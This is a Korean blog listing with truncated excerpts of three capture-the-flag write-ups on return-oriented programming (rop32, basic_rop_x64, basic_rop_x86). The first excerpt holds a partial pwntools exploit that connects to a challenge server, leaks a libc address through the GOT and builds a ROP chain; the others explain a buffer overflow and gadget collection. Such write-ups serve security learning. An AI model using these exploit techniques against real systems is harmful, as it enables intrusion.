return oriented programming(3)
-
여러가지 ROP 문제 풀이
- rop32 풀이 from pwn import * p=remote('sunrin.site', 9003) e=ELF('./rop32') libc=ELF('./libc.so.6.rop32') read=libc.symbols['read'] read_got=e.got['read'] read_plt=e.plt['read'] main=e.symbols['main'] system=libc.symbols['system'] bss=e.bss() printf_plt=e.plt['printf'] pr=0x0804855b payload='A'*0x3a+'B'*4 payload+=p32(printf_plt)+p32(pr)+p32(read_got) payload+=p32(read_plt) payload+=p32(main)+p3..
2021.08.01 -
basic_rop_x64 풀이
이번 문제도 basic_rop_x86과 같이 C 소스코드를 제공합니다. 코드 자체는 basic_rop_x86과 똑같으니 코드 분석은 생략하도록 하겠습니다. 만약 코드 분석이 보고 싶으신 분들은 아래에 달린 링크로 들어가서 봐주시면 됩니다. [ basic_rop_x86 풀이 ] basic_rop_x86 풀이 문제에서 C 소스코드를 주네요? 분석해보겠습니다. 우선 initialize(), alarm_handler() 함수는 중요해 보이지 않으니 한 줄 해석만 하겠습니다. initialize() : buf 세팅, 30초 후에 alarm_handler() 함수에게.. studykty.tistory.com 푸는 방식은 basic_rop_x86과 비슷할 것 같으니, 그때 썼던 코드를 최대한 활용해보겠습니다. 우선,..
2021.08.01 -
basic_rop_x86 풀이
문제에서 C 소스코드를 주네요? 분석해보겠습니다. 우선 initialize(), alarm_handler() 함수는 중요해 보이지 않으니 한 줄 해석만 하겠습니다. initialize() : buf 세팅, 30초 후에 alarm_handler() 함수에게 신호 전송 alarm_handler() : TIME OUT을 출력하며 프로그램 종료 그리고 read 함수로 buf를 0x400만큼 입력을 받으니 BOF가 발생합니다. write로는 read로 입력받은 buf를 출력해줍니다. 문제 정보를 보면 NX가 걸려있으니 쉘코드는 사용하지 못하겠네요. 문제 이름이 rop니까 ROP로 풀어보도록 하겠습니다. 우선 필요한 가젯을 모아보겠습니다. read와 write는 들어가는 인자가 3개니까 pop pop pop 가젯이..
2021.07.31